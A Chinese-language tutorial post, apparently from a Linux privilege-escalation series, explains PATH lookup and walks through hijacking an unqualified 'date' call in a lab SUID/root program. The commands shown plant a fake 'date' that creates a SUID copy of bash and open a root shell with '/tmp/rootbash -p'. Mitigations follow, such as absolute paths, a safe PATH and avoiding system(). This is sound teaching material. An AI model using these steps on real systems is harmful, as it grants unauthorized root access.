昨天我們透過 cron,讓 root 執行了被一般使用者修改的腳本。今天換個情境:如果不能修改原本的程式,但能影響它「去哪裡找指令」,還有機會提權嗎?
這就是今天要介紹的 PATH Hijacking。不過在此之前,我們先了解什麼是「環境變數」。
環境變數用白話一點的方式來說,可以把它想成是程式執行時可以參考的一組設定資料。
舉例來說,同一支程式可能在不同的語言環境下執行。程式不需要把「現在應該使用哪一種語言」直接寫死,而是可以參考 LANG 這個環境變數,例如:
export LANG=zh_TW.UTF-8
這裡用 export,讓之後從這個 shell 啟動的程式也能收到這項設定。支援相關語系的程式,可以依照自己的設計,決定如何顯示文字、日期或其他資訊。
不過,這不代表所有程式都一定會顯示繁體中文。系統需要有對應的 locale,程式也要支援;另外,LC_ALL 或個別 LC_* 設定還可能覆蓋 LANG 的效果。參考:locale(7)
換句話說,環境變數本身不會主動做任何事情,而是提供資訊給程式參考;至於要不要使用、怎麼使用,由程式本身決定。
今天要研究的 PATH Hijacking,就與另一個重要的環境變數——PATH 有關。
平常在 Linux 裡輸入 cat、ls,常常是在執行對應的外部程式。在這台 Lab 主機上,這兩個執行檔位於 /usr/bin:
ls -l /usr/bin/cat
ls -l /usr/bin/ls

從截圖可以看到,直接指定 /usr/bin/ls 或 /usr/bin/cat,也能使用這些工具。
那為什麼平常只輸入 ls 就可以了?這就和 PATH 有關。我們先看看目前的設定:
echo "$PATH"

PATH 是一串以冒號 : 分隔的目錄清單。例如:
/usr/local/bin:/usr/bin
當 shell 需要尋找名稱中沒有 / 的外部命令時,就會依照 PATH 的目錄順序,從左到右尋找同名且可執行的檔案。例如尋找 date 時,會先檢查 /usr/local/bin/date,再檢查 /usr/bin/date。
可以用下面這張表來區分:
| 寫法 | 尋找方式 |
|---|---|
date |
需要解析命令名稱;若進入外部程式搜尋流程,會使用 PATH。 |
/usr/bin/date |
使用指定的絕對路徑,不透過 PATH 搜尋。 |
./date |
使用目前目錄下的相對路徑,也不透過 PATH 搜尋。 |
Shell 還有 alias、function、內建命令及命令路徑快取等機制,因此不能把所有命令都理解成「每次都從 PATH 找」。本文聚焦在外部程式的 PATH 搜尋。參考:bash(1) 的 COMMAND EXECUTION
這次的目標是 /opt/lab09/health-check。先查看檔案權限,再找找其中有哪些可讀的字串:
ls -l /opt/lab09/health-check
strings /opt/lab09/health-check | grep -iE 'date|df|system|sh'

從結果可以得到兩類資訊:
date、df -h / 與 system 等字串,因此可以懷疑它會呼叫外部命令,而且可能沒有指定完整路徑。這裡要記得,strings 找出的是檔案中的可列印字串,不能單靠這些內容就確認實際執行流程。參考:strings(1)
下一步要驗證的是:如果把我們能控制的目錄放到 PATH 前面,程式會不會改為執行我們準備的 date?
先在 /tmp/probe 建立一個名為 date 的測試腳本,讓它印出辨識訊息:
mkdir -p /tmp/probe
printf '#!/bin/bash\necho "[HIJACK TEST] running as uid=$(id -u)"\n' > /tmp/probe/date
chmod +x /tmp/probe/date
PATH="/tmp/probe:$PATH" /opt/lab09/health-check
這段操作可以分成三個部分:
date 的腳本,並給予執行權限。/tmp/probe 放在這次執行所使用的 PATH 最前面。health-check,觀察它是否執行我們準備的腳本。特別注意這一行:
PATH="/tmp/probe:$PATH" /opt/lab09/health-check
這種寫法只替這次啟動的程式及其繼承該環境的子程序提供新的 PATH,不會永久修改目前 shell 的設定,也不會直接改變其他 root 程序的環境。參考:environ(7)
另外,我們已經用絕對路徑啟動 health-check。被影響的是它內部尋找 date 的過程,所以「主程式使用絕對路徑」並不代表它呼叫的其他命令也安全。
因為我們需要用 \n 產生多行腳本。echo 是否解讀反斜線跳脫,會受到實作與設定影響;這裡使用 printf,可以明確控制換行。
外層的單引號也有作用:它會保留 $(id -u) 這段文字,等測試腳本真的被執行時才計算,而不是在建立檔案時就展開。
執行後,再用原本的環境執行一次,作為對照:
/opt/lab09/health-check

上方紅框顯示我們的測試訊息,下方紅框則是原本的日期輸出。這表示:在這次測試中,程式執行到了 /tmp/probe/date。
還有一個重要細節:雖然訊息寫的是 uid=0,但我們執行的是 id -u,它顯示的是 EUID;若要查看 RUID,應使用 id -ru。參考:id(1)
因此,這張圖不只證明 PATH 搜尋被影響,也證明測試腳本在當下以 EUID 0 執行。
既然已確認自訂的 date 能以 EUID 0 執行,接下來就把測試內容改成建立 SUID Bash,這會用到 Day 06、Day 07 介紹過的機制。
mkdir -p /tmp/evil
cat > /tmp/evil/date <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash
EOF
chmod +x /tmp/evil/date
PATH="/tmp/evil:$PATH" /opt/lab09/health-check
ls -l /tmp/rootbash
/tmp/rootbash -p
這裡的 <<'EOF' 是帶有引號的 here-document,可以把多行文字寫入檔案,並避免內容在建立檔案時就被 shell 展開。
health-check 尋找 date 時,會先找到 /tmp/evil/date。在前面已驗證的權限條件下,腳本會建立由 root 擁有的 Bash 副本,再設定 SUID。
最後執行 /tmp/rootbash -p,保留 SUID 帶來的 EUID 0,取得 root 權限的 shell。

這次攻擊成功的關鍵,是以下條件同時成立:
PATH 的方式,呼叫 date 這類沒有指定路徑的命令。PATH,讓自己可寫入目錄中的同名程式先被找到。因此,修改 PATH 本身不會讓使用者變成 root;真正跨越權限界線的時刻,是高權限程序執行了攻擊者控制的檔案。
就像管理員要找某個人來工作,卻只認名字,還按照外人提供的名單順序尋找。攻擊者只要把同名的人排到前面,就可能被誤當成原本要找的人。
要降低這類風險,可以從幾個方向修正:
/usr/bin/date,並保護該檔案與上層目錄的權限。PATH,也不要讓搜尋路徑包含一般使用者可寫入的目錄。system() 解讀。Linux 的 system(3) 文件在 Caveats 段落也特別提醒:高權限程式使用 system() 時,攻擊者可能透過 PATH 等環境變數,讓其他程式以高權限執行。參考:system(3)
今天我們從環境變數開始,確認 PATH 如何影響外部命令的搜尋,再用測試腳本驗證執行位置與身分,最後銜接 SUID Bash 取得 shell。
這次要記住的問題是:這個高權限程式執行的工具,到底是誰選出來的?
即使主程式本身不能被修改,只要它找工具的方式受到攻擊者控制,仍可能形成提權路徑。
Lab 結束後,記得移除這次建立的測試檔案與 SUID Bash,或回復快照。
明天我們會介紹 SSH 設定不當可能帶來的權限風險。感謝大家的閱讀,我們明天見!